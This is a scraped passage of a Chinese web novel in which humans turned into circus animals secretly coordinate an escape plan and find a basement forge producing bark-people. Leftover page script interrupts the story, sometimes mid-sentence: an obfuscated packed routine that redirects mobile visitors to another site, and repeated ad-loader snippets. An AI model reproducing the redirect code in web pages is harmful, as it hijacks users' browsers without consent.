d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13759096|144738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作,红狐狸开始今天的工作布置:“今天是狂欢节,将有大批游客前来我们开心人戏团,大家务必打起十二分精神,热情待客,踏实工作!” 红狐狸的爪子指向台下:“这位是秃鹫小姐,它是一名心理医生。今天它随时会和大家沟通,请大家诚实地反馈工作和生活上的困难,请求秃鹫医生的帮助。” 时望抿了抿嘴,感觉最近的民间传说一个比一个真。 红狐狸小爪一挥:“散会!” 散会后的时望并没有马上回到摊位前,而是趁着园区还没开门,前往东边有一片小黄花的湖边,沿着湖溜达一圈。 湖边的大树根系庞大复杂,以时望爬行时的身高,刚好正对着一个由树根交错形成的一个树洞。仅仅是树洞还不会引起时望的注意,树洞旁三条动物爪子留下的抓痕才让时望想对树洞一探究竟。 时望伸长前腿往树洞里探,爪尖触碰到一张小纸条。确定周围没人注意到她这只乌龟后,时望掏出纸条,迅速瞄一眼后便把纸条扔回树洞里。 虽然只看了一眼,但时望对纸条上的内容非常熟悉。 纸条上使用的字体是时望接触了二十几年的人类语言。 二十六个英文字母。写的很扭曲,但还是很容易辨别。 离开湖边之前,时望有意无意地在树旁格外松软的泥土上踩了几爪,还自然地跟来湖里上班的鳄鱼打了个招呼才离开。 回到帐篷后,时望还没准备好今天新的忽悠话术,她的小摊就迎来了第一位客人。 是秃鹫小姐。 棕黑的羽毛在阳光的折射下显现出健康的光泽,细长的脖子挂着一串流光溢彩的珍珠项链,半眯着的眼睛似笑非笑地看着时望。 压迫感很强。 时望无声叹气,人家半眯着眼就是神秘莫测,她这只龟龟半眯着眼瞅着就像犯困了。 秃鹫小姐优雅地走到时望的小摊前,温柔地问道:“你是占卜师乌龟小姐吗?” 时望点点头:“是的,请问有什么可以帮到您?” 秃鹫小姐有点苦恼地说道:“我有一条项链不见了,请问你可以帮我找一下吗?” 时望感觉它不是一个可以用废话大法忽悠的客人,但这时候也只能硬着头皮先答应:“我试试看。请您描述一下您要找的项链。” 秃鹫小姐见时望答应了,半眯的眼睛透露出些许笑意:“就是一条由17颗珍珠组成的珍珠项链,16颗白珍珠,1颗黑珍珠,每颗珍珠大小不一。” 时望停下要掏人头骨的动作,目光从秃鹫的脸上扫到脖子上,轻叹一口气:“秃鹫小姐,您是在考考我吗?” 秃鹫小姐跟着时望的视线,看到自己脖子上与描述一致的项链,轻笑出声。 “乌龟小姐真是厉害啊,这么快就找到了。” 时望不甚上心地回应:“您过奖了。” “乌龟小姐做占卜师多久啦?” “没多久。” “你是不是从森林里来的呀?” “是的。” “你在森林里就会占卜吗?” “不是。” “你平时喜欢干什么呀?” “睡觉。” “你刚刚去湖边干什么了?” 时望抬头看到秃鹫半阖的眼睛透露出缱绻的笑意,心想果然来了。 16. 开心人戏团(7) “那当然是,”时望故意停顿了一下,直视秃鹫,轻笑道:“溜达呀。” 时望在做一个实验,实验内容是:验证秃鹫测谎测的是客观谎言还是主观谎言。客观上,时望揣着108个心眼子去的湖边找到不少非常关键的证据,主观上,她就是单纯地去湖边溜达一圈,没想过一定能找到东西。 秃鹫小姐似是接受了这个回答,温声问道:“哦?那里有什么特别的吗?” 时望猜测应该是混过去了,秃鹫判定的是主观谎言。 然后她低头从自己的脚底抠出一朵小黄花,放到前爪上摊开给秃鹫看。 “那里有一片正当季的小黄花,挺好看的。”时望都有点被自己恶心到了,不一定能伤敌,但一定损己。 秃鹫小姐看着时望前爪上的小黄花,眼皮微不可见地抽动了一下,勉力维持友好:“确实……挺好看的。” 随后,秃鹫小姐的脖子伸长,头稍稍靠近时望,轻声道:“乌龟小姐,你知道园区里有背叛者吗?” 时望没躲避秃鹫的视线,反而迎着它的目光凑得更近,同样轻声道:“知道。” “那,你是背叛者吗?”秃鹫小姐收敛了笑意,神情严肃。 “当然,”时望如预想般看到秃鹫睁大了的眼睛,满意地说出下半句:“不是。” 时望可从不认为自己是背叛者,她永远忠于自己忠于人类。她从未效忠过开心人戏团,谈何背叛。 秃鹫小姐的眼皮又耷拉下来了,收起平易近人的气质,似乎对这只调皮乌龟有点无语。 “那就好。”秃鹫小姐淡淡地说道:“我就不打扰乌龟小姐做生意了。” “乌龟小姐,再见。” 时望笑眯眯地和秃鹫告别:“再见!秃鹫小姐,有空再来哈。” 秃鹫随便应了一声后就走开了。 时望不禁感慨,小动物到底还是淳朴啊。 然后一个上午,时望从淳朴的小动物们那里又忽悠到4点情绪能量,契约纸上的情绪能量值是5。 铛,铛,铛。 三声锣声响起,该去食堂了。 时望婉拒乌鸦共同前去食堂的邀请,故意慢了一会儿动身。今天她还是径直地朝着水果堆去,叼起两个果子后就抬头四处张望,寻找她的目标。 找到了。 时望往正在角落啃果子的大白兔走去,在它旁边咔擦咔擦地啃起了果子。 大白兔:? “嚼嚼嚼……这里的果子真好吃啊……嚼嚼嚼。”时望很不礼貌地一边咀嚼一边说话:“园区真好,只要我守着摊子就能吃到这样的果子嚼嚼嚼。” 大白兔不知道这只乌龟没头没脑地是想干什么,但还是应了一声:“嗯。” “哪像人类啊,要什么六位数薪水六险二金顶格交包吃包住签订契约才能勉强活下去。”时望终于咽下了这口果子,“我活了这么久都不知道六险二金和契约是个什么东西,人类净搞些狗屁糟糟的东西。” 大白兔送果子进嘴的手顿了顿,深红色的眼睛瞬间覆上一层水雾,声音有点颤抖。 “是啊,死了的话这些东西还花不到自己身上。” 时望的前爪轻拍大白兔的膝盖,代替人类习惯使用的摸头来安慰大白兔:“放眼整个自然界,除了人类,就没有别的物种是需要这些东西才能活下去的。人类真是愚蠢啊。” 大白兔接收到时望的安慰,使劲点点头:“蠢死了。” 时望见大白兔也啃完果子了,再次抬起爪子放到大白兔的膝盖上:“你昨晚的表演真精彩啊。我想和你学一下魔术,待会儿我可以去你家吗?” 大白兔先是点点头,但是头还没点完就想起了什么,又摇摇头。 时望:? 大白兔解释道:“我的帐篷在西边,和很多员工住在一起,咱俩讨论……魔术的话可能会影响到其它动物。” 时望点头表示理解:“那就去我那吧。” 她和大白兔一起食堂外走,路过乌鸦时,发现它正和狮子聊天。时望停下脚步,拉住大白兔,强行加入聊天。 “乌鸦小姐,这顿饭好吃吗?我刚刚可是找了一圈都没找到你。”时望净睁眼说瞎话。 乌鸦感觉这个突如其来的寒暄有点莫名其妙,但还是回应道:“啊没关系的,和狮子小姐聊天也很开心呢。” 时望和狮子对上眼神,双方互相点头致意。狮子还不着痕迹地看了一眼时望旁边的大白兔,很快就移开了视线。 乌鸦发现场子的气氛一下子就冷了下来,便想告辞:“我吃好了,我就先回去午休了。” 它看向时望:“乌龟小姐,你和我一起回去吗?” 时望点头,说道:“兔子小姐也和我们一起,它想占卜一下。” 乌鸦自然同意:“好呀。” 一直没说话的狮子加入了对话:“乌龟小姐,你可以也帮我占卜一下吗?” 大白兔看向时望,不知她要如何应对。 出乎大白兔意料的是,时望很爽快地就应下来了:“好啊,欢迎。” 这四个天上飞的水里游的地上跑的蹦的四个动物一同往南边走去,在时望的帐篷前,其余三个动物与乌鸦道别后,就一起钻进了时望的小帐篷,时望还不忘将帐篷的卷帘门垂了下来。 时望回头看到目光灼灼的大白兔和波澜不惊的狮子,选择率先开口:“2021,时望。” 大白兔很信任时望,很快就接上话:“1801,我是宋况。” 狮子最后一个介绍自己:“1209,秦温阳。” 宋况听见狮子是秦温阳,一把就搂住狮子,眼泪叭嗒叭嗒地就往下掉:“呜呜呜温阳姐,我好想你呜呜。你知道吗我变魔术的时候摸出过自己的头呜呜,我是不是死了啊,我真的好怕呜呜。” 狮子,也就是秦温阳抬起爪子轻拍肩上的宋况,看向旁边正在偷笑的时望。 时望原以为情报局的人应该每天都是腥风血雨,杀怪不眨眼的,实在是没想到还有一个性子这么软的宋况。 见秦温阳望过来,时望止住笑意,转身从抽屉里拿出自己的小纸条,递给秦温阳。 “这是我的小纸条。” 秦温阳点点头,接过纸条和宋况一起快速地看纸条上的内容。 看完后,秦温阳率先开口:“我在住处找到的纸条内容是: [致1209: 这里是2012、1801与0209,上次的信件我们均已查悉。 我们认为你是最适合为本次特别行动收尾的人,相信你一定可以画上一个圆满的句号。 希望你保护好自己。 正义终将胜利! 保重!]” 时望听到秦温阳将纸条有用没用的内容都复述出来了,内心感慨真不愧是情报局行动组组 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 长。 紧接着宋况也简单描述了一下自己的纸条:“我的纸条是在干草堆里找到的,大概内容就是说行动开始后,0209会把我要的东西给我,我再去和温阳姐交接。” 听到这里,时望大概明白了整个特别行动的流程:时望负责第一个环节,0209收到时望的信号后就开始行动,宋况需要0209将必要的道具给她,最后和秦温阳交接。 时望的爪子轻点着地面,现在最大的问题就是还没和0209相认。 宋况也发现了这个问题,问道:“那0209呢?诶话说时望你是怎么知道我也是背叛者啊?” 秦温阳代替时望回答这个问题:“代号对应的是二十六个英文字母里相应顺序的两个字母。” 宋况更疑惑了:“这里讲话都叽里咕噜的,哪来的二十六个字母?” 时望补充道:“湖边树洞里有张二十六个字母的纸条,大概是为了方便咱这几个原身记不住代号或者写新的暗号时查一下。” “使用人类语言的原因也很简单,就是防止园区里别的动物知道,所以直接使用这种别的动物都不懂的人类语言。” 宋况顿时明白了,她的代号是1801,对应的字母是RA,取自兔子的单词rabbit里的前两位。园区里的动物员工种类比较少,两位字母基本就能定位到对应的员工。 那0209对应的字母就是BI,宋况第一反应就想到了bird:“那0209会不会是乌鸦啊?” 时望和秦温阳同时摇了摇头,只是一龟一狮说出的话略有不同。 时望很肯定地说:“不是。” 秦温阳比较保守地说:“不好说,但大概不是。” 听到对方的话,她俩又同时说:“你先说。” 宋况:…… 感觉自己因为智商不足被排除在外了呢。 时望见状便主动说:“乌鸦它刚来这两天,谈不上背不背叛的,所以我觉得0209应该是八哥。” 秦温阳先前不知道这个信息,听完后也认可了时望的观点。 提起八哥,时望又想起刚来时八哥闹出的种族歧视事件:“我刚来到这的时候看到八哥非常怕蛇,如果它是原住民的话,道理上来讲不应该。” 一个负责迎接各种动物顾客的门迎会怕蛇,怎么想都不合理。 宋况这时候忽然冷笑一声,看到时望不解的目光,她补充道:“0209应该是我们的同事,叫齐旬儒,主打就是一个怕蠕动的虫子蛇啥的,胆小的要死。” 时望感觉宋况和齐旬儒之间关系可能不是很好,不过倒是从宋况的话里反向验证了0209就是八哥。 时望想起早上的动员会:“只是八哥今天就要被逐出园区了,不知道它能不能在森林外存活下来。” 她顺便向秦温阳和宋况简单说了一下关于森林的情报。 秦温阳闻言轻轻摇头:“它应该还没有被逐出园区。” 时望好奇地问道:“为什么?” 秦温阳看向时望刚刚一并拿出来的契约纸,迟疑地说道:“他的能力是实时沟通,可以通过契约纸联系上我和宋况。只要他还处于一个清醒的状态,不应该没有任何消息。” 时望想起今早的动员会上都没见着八哥的身影,对秦温阳的话表示赞同。这时宋况又是一声冷笑:“这傻子怕不是被发现是叛徒然后挨囚禁了吧。” 17. 开心人戏团(8) 时望可算是看出来了,宋况对齐旬儒有很大的个人情绪。但偏偏宋况说的话还真可能是事实。 她最后一次见到八哥还是它被老虎叼在嘴里不省鸟事的样子。当时的情况大致是齐旬儒刚进入茧,乍一下看到蛇没反应过来,再被老虎吼了一下,刺激大发了就晕过去了。 但是怎么都不至于晕到今早都没法参加动员会,加之齐旬儒一直都没给同事传信息,唯一的答案只能是他被限制自由了。 时望此时真诚地为当时围观种族歧视事件笑出声而感到抱歉,现在她是彻底笑不出了。 秦温阳还在端详着时望的纸条,询问道:“你们有特别行动的具体内容的相关情报吗?” 时望和宋况一同摇头。时望说道:“你们仨埋在老地方的东西我找到了,今晚我会去挖出来。到时候大概能知道我的环节具体是什么了。” 秦温阳点点头:“那你注意安全。昨晚我外出过,猫头鹰会绕着整个园区巡逻,大概每两个小时绕一圈。” 这是一个很有用的信息,可以让时望将夜晚外出的试错成本降到最低。时望轻点头表示明白,然后想起另一个问题:“你们知道园区里的人类被关在哪里吗?” 在场唯一需要训练人类的秦温阳不假思索地说:“南边的楼里,我平时会去那里训练,但不知道他们被关押在几楼。” 刚说完,秦温阳马上就反应过来时望问这个问题的目的了:“我今晚去南边的楼里探一下。” 宋况听着她俩你来我往的,一直插不上话,脑袋里的问号越来越多了:“为什么要去南边的楼里啊?” “那里应该会有特别行动的线索,或者说被关押的人类大概也是行动的一环。”时望发现宋况的目光还是很清澈,就将知识点揉得更细碎:“我们几个动物会使用人类语言做代号,这里面一定会有人类的手笔。而我们能接触到的人类只有园区里被关押的人类。” 这下宋况明白了,两只深红清透的眼睛终于被知识给污染了。 “那齐旬儒咋办啊?虽然他是很讨厌,但没有他咱也出不去呀。”宋况想起最后一条规则,需要所有背叛者一起完成特别行动才能离开这里。 时望和秦温阳都没有说话。齐旬儒基本一进到茧里就失能了,给她们留下的信息非常少,根本无从下手。 过了好一会儿,时望开始上下打量着宋况,直到宋况被她看得发毛了,时望才问:“宋况,你的身手怎么样?” 宋况还没从一堆酷炫的词里选好用哪个来形容自己,就被秦温阳代答了:“自保没问题。” 被秦温阳用一些平平无奇的词语抢答了这个能炫耀自己的问题,宋况脸颊旁的胡子不满地抖了抖,随后抬起手,只见她手掌上的空间一阵扭曲后,一把晶莹剔透的匕首出现在她的手上。 “我的异能是幻化冷兵器,为打架而生。”宋况的脑袋稍稍扬起,耳朵竖起,可爱到让人想摸一下这个骄傲的小脑袋瓜子。 时望看见宋况炫耀的小骄傲样,轻笑道:“你这么厉害啊。” 宋况的嘴角再也压不住了。 “那你去和乌鸦自爆身份吧。”时望说出一句让秦温阳都有点惊讶的话。 这回宋况的嘴角压住了,取而代之的是一声包含了很多情绪的“啊?” --- 宋况觉得时望这个刁民想害她,但秦温阳也同意了时望的计划,她只好在午休结束后,往乌鸦那里蹭。 “乌鸦小姐下午好啊。”宋况硬是没话找话。 乌鸦很奇怪大白兔这个时候出现在这里,便问道:“下午好,兔子小姐你怎么在这啊?” 宋况左爪挠右爪的也没挠出个所以然来,干脆直接开始自爆:“乌鸦小姐,你喜欢数字02和09吗?” 欲盖弥彰地问乌鸦喜欢的数字,又莫名其妙地用不太口语化的02和09代替2和9。但凡乌鸦跟代号0209沾一点边,都会明白宋况的意思。 乌鸦的瞳孔骤缩,尾羽一下子就垂到地上,两个爪子猛地抓地,好半晌才轻轻地点头。 要不是宋况一直注意着乌鸦的反应,可能都会错过这个点头。 宋况咂了一下嘴,还真被时望猜中了。随后她低下头,凑近乌鸦轻声地说:“乌鸦小姐,我是1801。” 乌鸦用爪子轻挠宋况,示意她换一个地方说话。它带着宋况走到它栖息的树的背面,环顾四周确定没有其它动物经过后,用喙刨开脚下的泥土,叼出一张纸条送到宋况面前。 纸条上的内容是: [致0209: 这里是2012、1801与1209,上次的信件我们均已查悉。 你确实很适合在两地来回快速往返,那特别行动的这个部分就交给你了,到时收到2012的信号后,务必尽快将东西交给1801。 请尽量将被人发现的时间尽量拖晚一点,注意安全。 正义终将胜利! 保重!] 宋况的爪子用力地捏着这张纸条。如果属于八哥的纸条出现在这里,那八哥一定已经暴露了,他现在的处境一定很危险,生死未卜。 虽然宋况很讨厌他,但还没讨厌到希望他去死。尤其是在这种全是非我族类者的恶意茧里,只要是人类都是值得去拯救的。 宋况深呼吸整理好情绪后,挤出一个友善的笑容:“乌鸦小姐,你为什么把纸条放在这里?” 乌鸦小声地说:“防着八哥进我的树屋,不过现在它被逐出园区了,以后我可以放树屋里了。” 宋况捏着纸的手用力到颤抖:“这样。” “乌鸦小姐,你还记得你要做的事吧?” 乌鸦闻言,表情露出一瞬的茫然,但很快就坚定地说:“嗯记得。” 宋况点点头:“那就好。我先回去工作了,今晚我会来和你继续讨论的。” 但乌鸦急切地问道:“诶!其它两个……背叛者都是谁啊?” 既然宋况需要用这种隐晦的方式和它相认,那说明背叛者之间未必全都互相知晓身份。 “今晚跟你说。”宋况头也不回地离开了这里,往展演厅走去,她的工作日常就是在展演厅练习魔术。 路过时望的占卜摊时,宋况朝时望缓慢地眨了一下眼,时望的爪子在桌子上轻敲表示 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 明白。 --- 时间回到午休时 秦温阳摁住即将要给时望的龟壳一记暴扣的宋况,问道:“为什么?” 时望往后退了一步,离暴走的宋况远一点,平静地说:“目前我们都认可的推测是齐旬儒已经暴露了并且被控制了,很大可能他的纸条已经在园长手上了。” “那代入被背叛的那一方,如果我抓到了其中一个叛徒,我会怎么处理?”时望在帐篷里踱步,头稍稍歪向一边思考,“一,我会立马把它处理掉。” “二,我会利用它钓出其余背叛者。” 时望停止了脚步,看着秦温阳和宋况:“如果秃鹫去审过八哥,知道背叛者之间可能互相都不认识,那可操作空间就更大了。” “三,我会找一个卧底伪装成八哥潜进背叛者里,摸清它们的底细和行动,等待一个合适的时机将它们连根拔起。” 秦温阳接住了时望的思路:“那最适合当卧底的就是同为鸟,外形接近的乌鸦。” 暴走的宋况被搅进头脑风暴里,完全摸不着头脑,呆滞地说:“啊?” 怎么就乌鸦了?她是不是漏听了什么? 时望见宋况冷静下来了,就凑近宋况解释:“第一种和第二种处理方法性价比很低,治标不治本。而且红狐狸在动员会上,将八哥逐出园区的理由是投诉过多,而不是直接宣告八哥是背叛者。” “说明红狐狸没有打算用杀害八哥来杀鸡儆猴。也没打算让别的背叛者知道八哥已经暴露了,需要营救。”时望发现宋况的表情还是有点迷茫,就用眼神向秦温阳求助。 秦温阳叹了一口气,深感平时太惯着宋况和齐旬儒了,这俩一个比一个瓜。 眼看时间快到了,秦温阳拉过宋况,直接用宋况一定能听明白的话说:“宋况,你向乌鸦暴露身份,试探它有没有在伪装0209。” “如果它认下了0209,那之后的事情你和他对接。”秦温阳用生硬的语气说完这些,一下转变语气,温声道:“听明白了吗?” 宋况明白这件事非同小可,马上就接下了任务。 听不懂就听不懂吧,她打架很厉害就行了。 为了防止误会,时望解释选择宋况的原因:“因为你在特别行动的计划中,是与0209有直接接触的。” 时望顿了顿,担心自己说得不够清楚:“特别行动既然需要四个动物,那我们到时候所处位置应该会有一定距离,行动开始我们应该就要各就各位。另外,我们要尽量少向乌鸦透露特别行动的具体内容,而乌鸦假扮0209的话,到时候它只需要和你交接。” 其实宋况也无所谓谁去暴露身份,反正就如秦温阳所说,武力方面她自保是没问题的。 即使红狐狸到时候不装了,直接对背叛者挥刀,最后倒在刀下的未必是她。 但宋况还是很感激时望的解释,她想起自己刚刚对人家的误会,举起爪子搭到时望的龟壳上,豪爽地说道:“以后你就是我望姐了!” 时望:? 怎么扯到这的。 时望嘴角一抽:“那我可太荣幸了。” 18. 开心人戏团(9) 时望向来对算命占卜等企图预测未来的手段,持负面的态度。直到她成为了一个占卜师。 她现在觉得这就是一场占卜师与客人之间双向奔赴的过家家罢了,拿一点情绪能量的事怎么能说是骗人呢。 今天下午的过家家里,占卜师对前来占卜的客人推出了狂欢节特别要求:张嘴就来的感谢有点肤浅了,神明还要看到你们的付出——把喜爱票投给魔术师兔子。 时望单方面给大白兔安上了“另一个神明的使者”的身份。时望神秘兮兮地对客人说:“占卜之后,给兔子魔术师投了喜爱票,好的占卜会灵验,坏的占卜会不灵。” 要是投了喜爱票,还是没有得到想要的结果,那客人就要反省一下心到底诚不诚。 正话反话都被时望说完了,可谓是全方位立体防御。 时望觉得她的占卜摊要搁现实里,早就被人扬了。可是淳朴的小动物哪见过这世面,一下午时望就薅到了4点情绪能量和四张口头答应的喜爱票。 毕竟时望也不能摁着人家的头要人投票。 太阳落山时,时望将摊位收拾好,准备前往展演厅。她刚走没几步,就遇到了比她快一点的乌鸦,时望上前打招呼。 “乌鸦小姐,今天过得怎么样啊?” 乌鸦脸色凝重,心不在焉地在低空飞着,完全没注意到底下有只乌龟在和它说话。 心理承受能力比较弱,时望结合这两天的相处经历,在心里评价乌鸦。 “乌鸦小姐?”时望提高音量。 乌鸦听见有动物在喊自己,明显吓了一跳,低头看到是时望时,松了一个口气。 “乌龟小姐,有什么事吗?” 时望除了想让这个背叛者中的背叛者难受一下之外,还能有什么事。 “乌鸦小姐,今天秃鹫小姐和你聊天了吗?”时望随意抛出一个话题。 落到时望龟壳上的乌鸦点了点头,然后想起时望看不到,又补上一句“嗯。” 听到回答后,时望先是环顾四周,发现大家都没注意她俩后,停下脚步扭头看着乌鸦,鬼鬼祟祟地说:“秃鹫小姐和我说,它是来找背叛者的。” “你不要说出去,我跟你关系好才和你说的。” 乌鸦很反常地沉默了,往常它都不会让别人的话落到地上的。 乌鸦不应声也不能阻挡时望继续发挥。“唉,我听秃鹫小姐说,它抓到了一个背叛者,可审出了点不得了的东西。” 时望用只有她和乌鸦能听到的声音说:“据说背叛者内部可残忍了,会对我们这些无辜的小动物大开杀戒!它们内部要是有动物半路想向园长投诚,就会被割喉去毛反复浸热水!” 时望说起酷刑时,脑子过的是白切鸡的食谱。 话音刚落,乌鸦从时望的龟壳上起飞,匆忙地说:“我还有点事,就先走了。” 时望抬头看正在往前飞的乌鸦,它左右翅膀挥动的节奏不匹配,飞得时高时低的。 她能理解乌鸦的苦衷,它大概是被红狐狸胁迫,要求它伪装成0209,可能还许下了一点好处,但一定也说了不成功的后果。 比如乌鸦接触到了背叛者,但无法成功潜入背叛者内部的话,就会被逐出园区。 虽然能理解它的难言之苦,但时望绝无可能帮它一把。 到达展演厅后,时望在第二层观演台找了个不起眼的后排位置趴着,把头半缩进龟壳里,闭目养神。前排的动物将她遮得严严实实。 狂欢节的表演节目与往常并没有什么不同,就是各种意外死亡的人类更多了。第一个节目刚结束,地上就躺着十几个人类了。 台上的红狐狸在为第二个节目报幕时,狮子就在时望身旁趴下了,打了个长长的哈欠后,看似困倦的眼皮合上了。 “那些是什么东西?”时望指的是台上表演的人类,她不认为那些人类真的是人类。人类在这种环境里会绝望是很正常的,不正常的是绝望得千篇一律。 秦温阳慵懒的声音传来:“一层层树皮叠出的血肉而已。” 果然不是人。那他们的心脏也就不是心脏了,所以黄金心脏的目标不可能是树皮人的心脏,而是从在场观众身上吸收的不明物质。 “兔子捧起了头。”时望看到舞台上的大白兔又从高礼帽里掏出了一个人头,这次的人脸是一个陌生人的脸。 时望脑海中闪过舞台上的“时望”倒下时的目光:“我还看到了自己。” 她和秦温阳在这里只能将事情说的很隐晦,毕竟到处都是耳朵。 “主人不喜欢客人,做的一些无伤大雅的恶作剧而已。你不是它。”秦温阳冷静的声音抚平了时望因“时望”而微微躁动的心。 时望微微睁开眼睛,眼前即使闭上眼都气质凛然的狮子,与印象里脸色苍白的短发女人的脸逐渐重合。 时望轻笑出声,进入这个茧里的人会变成什么种类的动物应该是有根据的吧。 秦温阳睁开眼看到傻乐的时望,歪头表示疑问。 时望摇头:“没什么。” 转眼第二个节目快要结束了,宋况又是身心俱疲地谢幕。今晚的节目宋况没有再捡起各种人体碎片了,因为实在是太多了,多到形成一座齐腰高的小山。 就像食堂中午提供的生肉堆一样。 宋况下台后,并没有和时望秦温阳坐一起,而是强行趴在位于一层的乌鸦身边,吓得乌鸦扑棱了好几下翅膀。 噗呲。 时望被宋况实心眼的举动给逗笑了,明明只是说让她和乌鸦对接,而她直接很实在地黏着乌鸦。 “她一直都这样吗?”时望嘴角还有残留的笑意。 秦温阳不作声,但时望还是听到她轻轻地叹了一口气。 时望笑着解释:“没别的意思,只是觉得挺可爱的。” “她也是第一次进入恶意茧,而且也是第一次进入茧后和同伴分开。”秦温阳看似专注地观看表演,实则注意力全在宋况身上。 “嗯明白。”之后时望也不再说话了,一龟一虎就这样保持安静直到最后一个节目——开心表演。 当红狐狸掏出权杖时,全场欢呼时,时望听到秦温阳的声音在耳边响起:“不要看,不要听,不要想。” 昨晚已经看了已经听了已经想了的时望:…… 秦温阳没听到时望的回复,睁开眼睛就看到她一脸复杂的表情。 “这么做了也没什么后果,就是可能会被祂注意到而已。”秦温阳淡淡地说。 “被注意到?”时望疑惑。 此时开心表演已经到全员祈祷这一步了,秦温阳和时望再次闭上眼。 在一片祈祷声中,秦温阳的声音清晰地传到时望的耳朵: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “被注意到的话,可能你以后进入茧里会被针对或者特殊对待。” 也许是觉得有点过于唬人了,秦温阳补充道:“你昨晚未必被注意到了,只是今天狂欢节,献祭的数量格外多,还是小心点为好。” 时望轻叹一口气,闷闷地说:“嗯好。” 不知道是不是时望的错觉,她刚刚好像听到秦温阳笑了。但现在不能睁眼,时望也就不去求证了。 表演结束后,时望特意从舞台前离开展演厅,路过时仔细地看了一眼散落在舞台边上的一具树皮人尸体。 他的手臂不知道掉哪儿去了,肩膀连接处只有一个鲜红的横截面,横截面上的肌肉是呈同心圆状分布,不像是还未止血的血肉,更像是浸透了鲜血的布饱和后往外渗血。 不着痕迹地看完秦温阳口中的树皮人之后,时望和秦温阳道别,回到自己的帐篷里。 时值深夜,月亮透过帐篷的缝隙,落到时望的爪子上。听到猫头鹰振翅飞过的声音后,时望的脚趾有节奏地轻点地面,第一百下之后,时望估计猫头鹰这轮巡逻完毕,走出了帐篷。 时望穿过中央广场直达东边的湖,往早上她特意踩实的地方走去。前爪刨开本就松软的泥土后,时望看到一张纸条静静地躺在土坑里。 拾起纸条,其上只有短短的一句话:[展演厅的火把下。] 时望的嘴角抽了抽,真是不知道什么好东西值得这么七绕八拐的。 但不管时望怎么吐槽,她还是动身前往展演厅。展演厅大楼的正面有两根照明用的火把,分布在两侧边缘,相隔甚远。 左边的火把照亮的范围经常有员工与游客经过,右边的火把旁则是一片荒地,用于摆放不常用的道具,比如废弃的架子,装在木桶里的玩具布偶等。 时望就近往右边的火把走去,火把下的地面结实,不像被刨开过的质感。 往火把的后方走去,没被照亮的视野盲区放着好两个密封的大木桶,时望的手指摸了一下木桶盖。 油腻的触感,时望将手指放到鼻下,劣质的工业油味。 时望:…… 这里没发生火灾真是全靠神明保佑啊。 信号,火把下的油,展演厅,第一个环节。关键词串联后,时望大致猜测出特别行动计划里自己负责的部分。 接下来就等秦温阳的消息了。时望就这么站在黑暗处,看向南边的那栋园区最高楼。 --- 南边的楼里 一楼是工具间,训练以及演出时会在这里拿道具,一楼大厅两侧排放着10几个大箱子,里面摆放着一些常用的训练道具,长鞭,球,碗,铁圈等。四个角落里还分别摆放着一盆绿植。 秦温阳正仔细地巡查着一楼,她怀疑这栋楼有地下室。因为这两天的训练,都是员工将人类押上二楼三楼交给它们这些驯人师。 她用爪子挨个挪开箱子,都没看到异常,便往不起眼的绿植盆栽走去。秦温阳准备挪开第二盆绿植时,发现这盆绿植根本无法挪动。 她的爪子往盆栽里探了探,就是很普通的植物和泥土,没有什么特别的地方。 思索片刻后,秦温阳轻轻地转动盆栽,她刚放下爪子,大厅中央就发出“咔哒”声,中间的地面缓慢地往下沉,沉降约10厘米后,地面一分为二分别向两边移动,露出一条通往黑暗的楼梯。 19. 开心人戏团(10) 秦温阳沿着楼梯往下走,直至走出一楼大厅漏下的光照明范围之外。她在黑暗中到达了平地。再往前走几步,就摸索到一堵墙,需要向右转。 从拐角处往右看,秦温阳眼前的长廊一半被黑暗淹没,一半被尽头处的明灭火光隐隐照亮,时不时还传来木头燃烧发出的噼啪声。 隐匿在黑暗中的狮子谨慎地朝光明的长廊尽头走去,脚步声微不可闻。即将走到尽头的拐角处时,秦温阳屏住呼吸,不再向前。 在顶级捕食者的敏锐五感下,她听到前方有被刻意压制的沉重呼吸声。 未知的狩猎者发现猎物没有如期出现,便朝猎物主动出击。一头健壮的老虎背着光走出了拐角,与秦温阳打了个照面。 即使见到熟悉的同事,老虎依然保持警觉,沉声说:“你怎么会在这里?” 秦温阳放松紧绷的身体,向老虎表明自己无攻击意愿,故作无奈地说:“今天表演效果不好,园长要我加练。但大家都休息了,园长就要我自己下来找个人类。” 老虎对它的说法不置可否,毫不掩饰对秦温阳的不信任。秦温阳假装没察觉到它的警惕。 “怎么,不方便吗?”秦温阳表现出无所谓的态度,准备转身离开,“不方便就算了,我回去休息了,明天再说。” “等下。”大概是见不得自己还在加班,而同事原地开摆,老虎叫住了秦温阳。 “你跟我进来。”老虎转身往回走,似乎对试图摆烂的狮子放下了警惕。 秦温阳先是维护一下自己不想加班的设定:“你给我领个人出来就好,我在这等你吧。” 老虎回过身来,直盯着懒散地靠在墙上的秦温阳,加班的怨气溢于言表。 在老虎不善的目光中,秦温阳直起身,不情不愿地说:“我跟着进去可以了吧,威武的副团。” 随后她就跟着老虎走进了明亮的地下室,然而眼前的一切实在超乎秦温阳的想象。 刚转过拐角,一个引人注目的钢铁锻造炉正热火朝天地工作着,秦温阳还未靠近就感觉到有热浪扑面而来,可想而知锻造炉内的温度有多高。 锻造炉的上方是一根穿过天花板的烟囱,右侧则有个出口,正缓缓地吐出一个双眼紧闭的树皮人,树皮人落到传送带上,被运输到不远处的铁笼内。 三四十个铁笼串联成一排,沿着地下室的边缘陈列开,甚是壮观。除了往外开的门外,相邻的铁笼之间还有一扇单向的门。 传送带载着刚从锻造炉里出来的树皮人,穿过好几十扇门,往远处还没有人的铁笼送去。到达目的地后,对应笼子内的传送带即停止运作,树皮人的重量使笼子地面下沉,相邻笼子内的门就自动关上。 离锻造炉较远处的五个铁笼里,都已分别关着一个树皮人,他们都是清醒的状态,但表情是如出一辙的麻木与灰败。 